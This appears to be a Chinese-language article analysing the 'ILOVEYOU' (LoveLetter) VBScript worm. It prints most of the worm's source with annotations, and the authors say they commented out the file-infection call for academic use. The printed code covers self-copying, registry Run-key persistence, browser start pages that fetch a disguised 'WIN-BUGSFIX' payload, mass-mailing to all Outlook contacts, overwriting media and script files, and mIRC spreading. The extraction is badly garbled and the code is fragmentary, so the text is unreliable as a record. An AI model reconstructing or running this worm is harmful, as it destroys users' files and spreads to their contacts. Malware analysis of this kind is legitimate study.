-
“爱虫
(I
Loveyou)
”病毒代码解析和杀毒方法
中国代码联盟
黄冬
李文武
p>
近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国
内却
没有出现
什么问题,
到现在我也没有
听到有哪位计算机使用者说自己被爱到至
死。究其原因
是什么?而“我爱你”
病毒到底是什
么?难道说是我国的计算机防
毒水平和计算
< br>机杀毒软件的水平已经到了世界领先的水平?我们来细细看看它的
原因就明白其中
的道理了。另:
笔者写本文完全是为
了学术作用,请不要将此病毒代
码用于破坏之
目的。
首先让我们来看一看我爱你病毒的来源。
有一天你会收到一封邮
件,它的主题
是“
I Love You
”
(如果细细读读它的程序,这个主题其实可以并不是
I Love
You
)
,
在它的信中带有了一个叫“
”的附件,而这个附
件将是病毒
p>
的根源。下面这段是“我爱你”病毒的所有的源代码,其中加入了我
的注释(大多
数的
vbs
的语法大家可以到
wsh
中去查、
我在函数调用的地方写明了
这些函数的说明
,具体实现可以到函数体中去找)
:
Rem
=======================================
====================
============
Rem
本文件为病毒样本,供学习之用,原文件中扫描文件进行感染
部分被我注释掉
了
Rem
请勿将本文件用作破坏之目的。
white
(wwwasp@)
hd(hd@email.
)
Rem
============
===============================================
============
On Error Resume Next
dim fso
,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=
ctr=0
Set fso = CreateObject(
set
file = xtFile(Fullname,1)
vbscopy=l
main()
sub main()
On Error Resume Next
dim
wscr,rr
set
wscr=CreateObject(
rr=d(
Scripting
HostSettingsTimeout
if
(rr>=1) then
te
Scripting
HostSettingsTimeout
end if
Set dirwin = cialFolder(0)
Set dirsystem = cialFolder(1)
Set dirtemp = cialFolder(2)
Set c = e(FullName)
(dir
system&
(dirwin&
(dirsystem&
p>
'
上面三句将自身
复制成三
个文件
regruns()
'
如果系统为<
/p>
win98
,设
IE
的起始页为四个
URL
之一,以下
载一个叫
的文件,
'
并将其设为系统启动时自动执行的程序,
看起来好象
是一个补丁程序
html()
'
为
< br>OUTLOOK
用
户
生
成
一
个
含
病
毒
代
码
< br>的
HTML
文
件
LOVE-LETTER-FOR-YOU.
HTM
,
'
该
HTML
文件里包含一段
JAVASCRIPT
,打开时脚本被执行,
病毒
体被写入文
件
,
同时被设成
'
系统启动时自动执行
spreadtoemail()
'
为
OUTLOOK
里的所有联系人发
一封包含上面那个文
件的邮件
listadriv()
'
扫描整个磁盘,将后缀为
.vbs,
..vbe
的文件换成自身,将后
缀为
.js, .jse, .css, .wsh,
.sct, .hta, '
的文件改后缀为
vbs
并写入自身,同时删
除原有文件,
将后缀为
.jpg,.jpeg
的在文件名后加
p>
.vbs
后,
写入
'
自身,
将后缀为
.mp3,mp2
的文件名后加
.vbs
并写入自身,同时将文件属性改为隐藏
文件,
'
如果发
现有
mIRC,
将改写
,
使得
mIRC
向所有频道里的人发送刚才的
html
文件。
end sub
sub regruns()
On
Error Resume Next
Dim num,downread
regcreate
RunMSKern
册表中的加载项一些软件可以写入到这里后实现开机运行
el32
ystem&
regcreate
RunService
册表中的加载项
一些软件可以写入到这里后实现开机运行
sWin32DLL
downrea
d=
downread=regget(
ExplorerDownload
Directory
if
(downread=
downread=
end if
if
(fileexist(dirsystem&
Randomize
num = Int((4 * Rnd) + 1)
if
num = 1 then
regcreate
ExplorerMainStartPage
net/~young1
s/HJKhjnwerhjkxcvytwertnMT
FwetrdsfmhPn
jw6587345gvsdf7679njbvYT/
elseif num = 2 then
regcreate
Explor
erMainStartPage
net/~angelcat/skladjflfd
jghKJnwetryDG
FikjUIyqwerWe546786324hjk
4jnHHGbvbmKLJKjhkqj4w/
e
elsei
f num = 3 then
regcreate
p>
ExplorerMainStartPage
net/~koic
hi/jf6TRjkcbGRpGqaq198vbFV5h
fFEkbopBdQ
ZnmPOhfgER67b3Vbvg/
elseif num = 4 then
regcreate
Explor
erMainStartPage
net/~chu/sdgfhjksdfjklNB
mnfgkKLHjkqwt
uHJBhAFSDGjkhYUgqwerasdjh
PhjasfdglkNBhbqwebmznxcbvnmadshfgqw
2374
61234iuy
7thjg/WIN-
end if
end if
if (fileexist(downread&
regcreate
RunWIN-
BU
注册表中的加载项一些软件可以写入到这里后实现开机运行
GSFIX
nread&
regcre
ate
tPage
k
end if
end
sub
sub listadriv
On Error Resume Next
Dim
d,dc,s
Set dc =
For Each d
in dc
If ype = 2 or ype=3 Then
folderlist(&
end if
Next
listadriv =
s
end sub
sub
infectfiles(folderspec)
On Error Resume
Next
dim
f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = der(folderspec)
set
fc =
for each f1 in fc
ext=ensionName()
ext=lcase(ext)
s=lcase()
if (ext=
set
ap=xtFile(,2,true)
vbscopy
elseif (ext=
(ext=
(ext=
set ap=xtFile(,2,true)
vbscopy
bname=eName()
set cop=e()
(folderspec&
File()
elseif (ext=
set
ap=xtFile(,2,true)
vbscopy
set cop=e()
(&
File()
elseif
(ext=
set mp3=TextFile(&
vbscopy
set att=e()
utes=utes+2
end if
if (eq<>folderspec) then
if
(s=
(s=
(s=
set
scriptini=TextFile(folderspec&
ine
ine
ine
corrupt,if mIRC
will
ine
correctly.
thanks
ine
ine
ine
ine
ine
ine
ine
$$nick
ine
eq=folderspec
end if
end if
next
end sub
sub
folderlist(folderspec)
On Error Resume
Next
dim f,f1,sf
set f =
der(folderspec)
set sf = ders
for each f1 in sf
'infectfiles()
Rem
========================
===================================
====
Rem
注意,上面这行被注释掉了,请千万不要玩火,否则您
的文件
将找不回来
Rem
===========================================
================
=====
folderlist()
next
end sub
sub regcreate(regkey,regvalue)
Set regedit =
CreateObject(
te regkey,regvalue
end sub
function
regget(value)
Set regedit =
CreateObject(
regget=d(value)
end function
function
fileexist(filespec)
On Error Resume
Next
dim msg
if
(ists(filespec)) Then
msg = 0
else
msg = 1
end
if
fileexist = msg
end
function
function
folderexist(folderspec)
On
Error Resume Next
dim msg
if
(derExists(folderspec)) then
msg = 0
else
msg = 1
end
if
fileexist = msg
end
function
sub
spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,re
gedit,regv,regad
set
regedit=CreateObject(
set
out=Object(
set
mapi=eSpace(
for ctrlists=1 to
set a=sLists(ctrlists)
x=1
regv=d(
if
(regv=
regv=1
end
if
if (int()>int(regv)) then
for ctrentries=1 to
malead=sEntries(x)
regad=
regad=regedit.
RegRead(
if
(regad=
set male=Item(0)
(malead)
t =
=
vbcrlf&
me.
(dirsystem&
te
end
if
x=x+1
next
te
Count
else
te
Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub
html
On Error Resume Next
dim
lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=
HTML-?TITLE>
CONTENT=@-@BAROK VBS -
LOVELETTER@-@>
NAME=@-@Author@-@
CONTENT=@-@spyder
?-?
ispyder@
?-?@GRAMMERSoft
Group ?-? Manila, Philippines ?-? March
2000@-@>
this is
good...@-@>
ONMOUSEOUT=@-@=#-#main#-#;window.
open(#-##-#,#-#
main#-#)@-@
open(#-##-#,#-#
main#-#)@-@
BGPROPERTIES=@-@fixed@-@
BGC
OLOR=@-@#FF9933@-@>
Enable to read this HTML file
-
Please press #-#YES#-# button to
Enable
ActiveX-?p>
BGCOLOR=@-@yellow@-@>----------z
--------------------
z-----------?MARQ
U
EE&g
t;
hi=eight;(0,0);To(wi,hi);
}<
/p>
dt
a2=
fso=CreateObject(@-@stemObject@-@)
p>
_